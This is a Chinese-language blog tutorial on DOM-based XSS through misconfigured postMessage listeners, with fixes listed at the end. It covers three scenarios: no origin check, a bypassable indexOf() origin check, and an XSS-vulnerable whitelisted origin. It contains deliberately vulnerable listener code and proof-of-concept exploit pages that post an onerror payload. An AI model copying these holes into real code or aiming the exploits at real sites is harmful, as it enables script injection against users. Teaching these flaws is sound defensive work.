利用配置不当的postMessage()函数进行DOM型XSS攻击
今天,我们将讨论如何通过配置不当的Postmessage函数利用基于DOM的XSS漏洞。两个站点只有在具有相同协议、主机名和端口时才能相互通信。
如果两个站点不具有上述相似属性,将触发同源策略。
有多种方法可以绕过同源策略。其中之一是postMessage函数。postMessage方法安全地实现了Window对象之间的跨源通信。postMessage使用两种方法在窗口之间进行交叉通信。它们如下:
window.addEventListener
postMessage()
以下是postMessage()函数配置不当并容易受到基于DOM的XSS攻击的不同场景。
场景 1: 无来源验证检查
在此场景中,没有来源检查/验证,这意味着应用程序将接收来自任何使用postMessage()函数的域的消息。
易受攻击的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<html>
<head>
<title>XSS_ME_</title>
</head>
<script>
window.addEventListener('message', function(e) {
document.getElementById('s').innerHTML = e.data.s;
})
</script>
<body>
<div class="container">
<form>
<h3 id="s">Postmessage XSS</h3>
<input type=text> </input>
<input type="button" value="Click">
</form>
</div>
</body>
</html>
|
如您从代码片段中所见,没有实现任何来源验证。
在此场景中,攻击者利用postMessage()函数构建一个漏洞利用程序,该程序将允许跨源通信,并且攻击者能够将XSS有效载荷传递到受害者/主应用程序中。
漏洞利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<html>
<body>
<input type=button value="Click Me" id="btn">
</body>
<script>
document.getElementById('btn').onclick = function(e){
window.poc = window.open('http://begbounty.xyz/postmessage1.html');
setTimeout(function(){
window.poc.postMessage(
{
"s": "<img src =x onerror=alert(1);>",
},
'*'
);
}, 2000);
}
</script>
</html>
|
场景 2: 应用程序使用indexOf()函数进行来源验证
在此场景中,应用程序使用indexOf()函数进行来源验证。在这种情况下,该函数检查白名单域是否包含在来源中。使用indexOf()函数进行来源验证是一种不好的做法,因为可以通过创建一个以indexOf()函数中给定字符串开头的子域来绕过此验证。
易受攻击的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<html>
<head>
<title>XSS_ME_</title>
</head>
<script>
window.addEventListener('message', function(e) {
if(e.origin.indexOf("begbounty.xyz") > 0){
document.getElementById('s').innerHTML = e.data.s;
}
});
</script>
<body>
<div class="container">
<form>
<h3 id="s">Postmessage XSS</h3>
<input type=text> </input>
<input type="button" value="hehe!">
</form>
</div>
</body>
</html>
|
正如您在上面提到的代码中所看到的,应用程序正在使用indexOf()函数进行来源验证。
(e.origin.indexOf("begbounty.xyz") > 0)
为了利用此错误配置,我创建了一个子域,用于托管漏洞利用代码。
https://begbounty.xyz.x3b.in/index.html
漏洞利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<html>
<body>
<input type=button value="Click Me" id="btn">
</body>
<script>
document.getElementById('btn').onclick = function(e){
window.poc = window.open('http://begbounty.xyz/postmessage2.html');
setTimeout(function(){
window.poc.postMessage(
{
"s": "<img src =x onerror=alert(1);>",
},
'*'
);
}, 2000);
}
</script>
</html>
|
场景 3: 白名单来源/域易受反射型/存储型XSS攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<html>
<head>
<title>XSS_ME_</title>
</head>
<script>
window.addEventListener('message', function(e) {
if (e.origin == "http://149.28.205.217:8083") {
document.getElementById('s').innerHTML = e.data.s;
}
});
</script>
<body>
<div class="container">
<form>
<h3 id="s">Postmessage XSS</h3>
<input type=text> </input>
<input type="button" value="hehe!">
</form>
</div>
</body>
</html>
|
如您在上面的代码片段中所见,您会发现addEventListener()正在验证协议、主机名/IP和端口号。这意味着该函数将接收来自http://149.28.205.217:8083的消息。
如果http://149.28.205.217:8083容易受到存储型/反射型XSS攻击怎么办?
由于它容易受到反射型XSS攻击,我们可以利用它来注入postMessage()漏洞利用代码。
漏洞利用
修复方案
- 在window.addEventListener函数中白名单化来源。
- 在将域加入白名单时,使用正确的正则表达式。
- 在将域/主机加入函数的白名单之前,对所有页面执行跨站脚本相关的测试用例。
感谢阅读博客。
特别感谢Paresh Parmar。
如果您对博文有任何疑问,请随时通过 https://twitter.com/armaancrockroax?lang=en 联系我。